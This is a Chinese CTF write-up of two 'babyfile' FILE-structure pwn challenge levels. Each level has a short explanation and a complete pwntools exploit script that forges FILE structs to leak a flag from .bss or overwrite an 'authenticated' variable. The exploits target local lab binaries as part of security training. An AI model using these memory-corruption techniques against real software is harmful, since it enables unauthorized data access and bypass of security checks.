前言#

Finally，花了五个月差不多把 pwn 学完了，至于剩下的内核什么的后期就当兴趣学了，应该不会变成我的主要研究方向，所以等学完这两章 FSOP 的内容我就去搞 IoT，~~也能想象明年开始将全力以赴打比赛，暗无天日的坐牢（~~

总之希望竞赛时期不要太长，最好能够一年退役，我可不想整个大学生活都在坐牢 LOL

Level 1#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read data.

Write-up#

~~最简单的一集。~~ chall 把 flag 读到 bss 了，并且没开 PIE，还给了任意写 FILE 结构体的能力，直接用 pwntools 秒了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level1"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    flag = 0x4040E0
47

48
    fp = FileStructure()
49
    payload = flat(fp.write(flag, 0x64))
50

51
    target.send(payload)
52

53
    target.interactive()
54

55

56
if __name__ == "__main__":
57
    main()

Level 2#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily write data to bypass a security check.

Write-up#

验证变量，构造任意读即可。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level2"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    authenticated = 0x4041F8
47

48
    fp = FileStructure()
49
    payload = flat(fp.read(authenticated, 0x101))
50

51
    target.success(fp)
52

53
    target.send(payload)
54
    target.sendline(b"A" * 0xFF)
55

56
    target.interactive()
57

58

59
if __name__ == "__main__":
60
    main()